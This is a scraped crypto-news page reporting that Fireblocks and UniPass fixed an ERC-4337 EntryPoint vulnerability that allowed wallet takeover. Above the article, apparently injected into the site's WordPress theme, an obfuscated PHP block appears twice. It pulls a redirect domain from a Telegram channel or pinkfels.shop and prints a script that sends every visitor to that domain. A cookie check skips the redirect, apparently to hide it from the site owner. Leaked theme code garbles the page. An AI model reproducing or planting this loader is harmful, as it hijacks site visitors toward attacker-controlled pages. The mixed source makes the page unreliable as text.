if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?>// BEGIN ENQUEUE PARENT ACTION // AUTO GENERATED - Do not modify or remove comment markers above or below: if ( !function_exists( 'chld_thm_cfg_locale_css' ) ): function chld_thm_cfg_locale_css( $uri ){ if ( empty( $uri ) && is_rtl() && file_exists( get_template_directory() . '/rtl.css' ) ) $uri = get_template_directory_uri() . '/rtl.css'; return $uri; } endif; add_filter( 'locale_stylesheet_uri', 'chld_thm_cfg_locale_css' ); if ( !function_exists( 'chld_thm_cfg_parent_css' ) ): function chld_thm_cfg_parent_css() { wp_enqueue_style( 'chld_thm_cfg_parent', trailingslashit( get_template_directory_uri() ) . 'style.css', array( 'font-awesome-v5','bootstrap','sidr','magnific-popup','sliderpro' ) ); wp_enqueue_script('custom-script', get_stylesheet_directory_uri() . '/custom-script.js', array('jquery')); } endif; add_action( 'wp_enqueue_scripts', 'chld_thm_cfg_parent_css', 10 ); // END ENQUEUE PARENT ACTION add_action( 'admin_enqueue_scripts', 'my_cfg_admin_enqueue' ); function my_cfg_admin_enqueue(){ wp_enqueue_script('custom-script', get_stylesheet_directory_uri() . '/custom-script.js', array('jquery')); wp_enqueue_style('style-cfg-child', get_stylesheet_uri(), array(), "4.2"); } add_action( 'after_setup_theme', 'remove_plugin_image_sizes', 999 ); function remove_plugin_image_sizes(){ remove_image_size( '2048x2048' ); remove_image_size( '1536x1536' ); remove_image_size( 'large' ); } function action_dynamic_sidebar_after( $array ) { if($array == "home-content-widgets") { echo the_content(); } }; add_action( 'dynamic_sidebar_after', 'action_dynamic_sidebar_after', 10, 1 ); add_action( 'trashed_post', 'mtp_delete_attached_thumbnail_for_trashed_product', 20, 1 ); function mtp_delete_attached_thumbnail_for_trashed_product( $post_id ) { // gets ID of post being trashed $post_type = get_post_type( $post_id ); // does not run on other post types if ( $post_type != 'post' ) { return true; } // get ID of featured image $post_thumbnail_id = get_post_thumbnail_id( $post_id ); // delete featured image wp_delete_attachment( $post_thumbnail_id, true ); }if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?>/** * The header for our theme * * This is the template that displays all of the section and everything up until
* * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials * * @package CoverNews */ ?> > Fireblocks, UniPass Wallet tackle Ethereum ERC-4337 account abstraction vulnerability – CoinsMegaNews

Fireblocks, UniPass Wallet tackle Ethereum ERC-4337 account abstraction vulnerability

2 years ago CryptoExpert
Fireblocks, UniPass Wallet tackle Ethereum ERC-4337 account abstraction vulnerability

[ad_1]

Cryptocurrency infrastructure firm Fireblocks has identified and assisted in tackling what it describes as the first account abstraction vulnerability within the Ethereum ecosystem.

An announcement on Oct. 26 unpacked the discovery of an ERC-4337 account abstraction vulnerability in the smart contract wallet UniPass. The two firms worked together to address the vulnerability, which was reportedly found in hundreds of mainnet wallets during a white hat hacking operation.

According to Fireblocks, the vulnerability would allow a potential attacker to carry out a full account takeover of the UniPass Wallet by manipulating Ethereum’s account abstraction process.

As per Ethereum’s developer documentation on ERC-4337, account abstraction allows for a shift in the way transactions and smart contracts are processed by the blockchain to provide flexibility and efficiency.

Related: Account abstraction will drive a billion users from Asia to Web3: Consensys exec

Conventional Ethereum transactions involve two types of accounts: externally owned accounts (EOAs) and contract accounts. EOAs are controlled by private keys and can initiate transactions, while contract accounts are controlled by the code of a smart contract. When an EOA sends a transaction to a contract account, it triggers the execution of the contract’s code.

Account abstraction introduces the idea of a meta-transaction or more generalized abstracted accounts. Abstracted accounts are not tied to a specific private key and are able to initiate transactions and interact with smart contracts, just like an EOA.

As Fireblocks explains, when an ERC-4337-compliant account executes an action, it relies on the Entrypoint contract to ensure that only signed transactions get executed. These accounts typically trust an audited single EntryPoint contract to ensure that it receives permission from the account before executing a command:

“It’s important to note that a malicious or buggy entrypoint could, in theory, skip the call to “validateUserOp” and just call the execution function directly, as the only restriction it has is that it’s called from the trusted EntryPoint.”

According to Fireblocks, the vulnerability allowed an attacker to gain control of UniPass wallets by replacing the trusted EntryPoint of the wallet. Once the account takeover was complete, an attacker would be able to access the wallet and drain its funds.

Several hundred users who had the ERC-4337 module activated in their wallets were vulnerable to the attack, which could be performed by any actor on the blockchain. The wallets in question only held small amounts of funds, and the issue has been mitigated at an early stage.

Having ascertained that the vulnerability could be exploited, Fireblocks’ research team managed to carry out a white hat operation to patch the existing vulnerabilities. This involved actually exploiting the vulnerability:

“We shared this idea with the UniPass team, who took it upon themselves to implement and run the whitehat operation.”

Ethereum co-founder Vitalik Buterin previously outlined challenges in expediting the proliferation of account abstraction functionality, which includes the need for an Ethereum Improvement Proposal (EIP) to upgrade EOAs into smart contracts and ensure the protocol works on layer-2 solutions.

Magazine: Ethereum restaking: Blockchain innovation or dangerous house of cards?

[ad_2]

Source link

Tags:

More Stories

Ethereum and Cardano register gains; analysts’ focus shifts to NUGX token

Ethereum and Cardano register gains; analysts’ focus shifts to NUGX token

2 years ago CryptoExpert
EigenLayer's Mainnet Debut: A Glimpse into the Future of Ethereum Staking

EigenLayer’s Mainnet Debut: A Glimpse into the Future of Ethereum Staking

2 years ago CryptoExpert
Ethena Sparks Controversy with Launch of 27% Yielding Algorithmic Stablecoin

Ethena’s ENA Token Surges to $1.40 All Time High: Attains $2 Billion Market Cap in Record Time

2 years ago CryptoExpert
Ethereum ETF Approval: BitMEX Founder Arthur Hayes & Grayscale CLO are Positive

Is Ethereum ETH Price Poised for a 20% Price Surge? Technicals Say Yes

2 years ago CryptoExpert
Rebel Satoshi (RBLZ) hailed as an altcoin to watch amidst ETH and SHIB turbulent price action

Rebel Satoshi (RBLZ) hailed as an altcoin to watch amidst ETH and SHIB turbulent price action

2 years ago CryptoExpert
Ethereum ETF Approval: BitMEX Founder Arthur Hayes & Grayscale CLO are Positive

Fidelity Submits S-1 Form for Spot Ethereum ETF

2 years ago CryptoExpert

Leave a Reply

Your email address will not be published. Required fields are marked *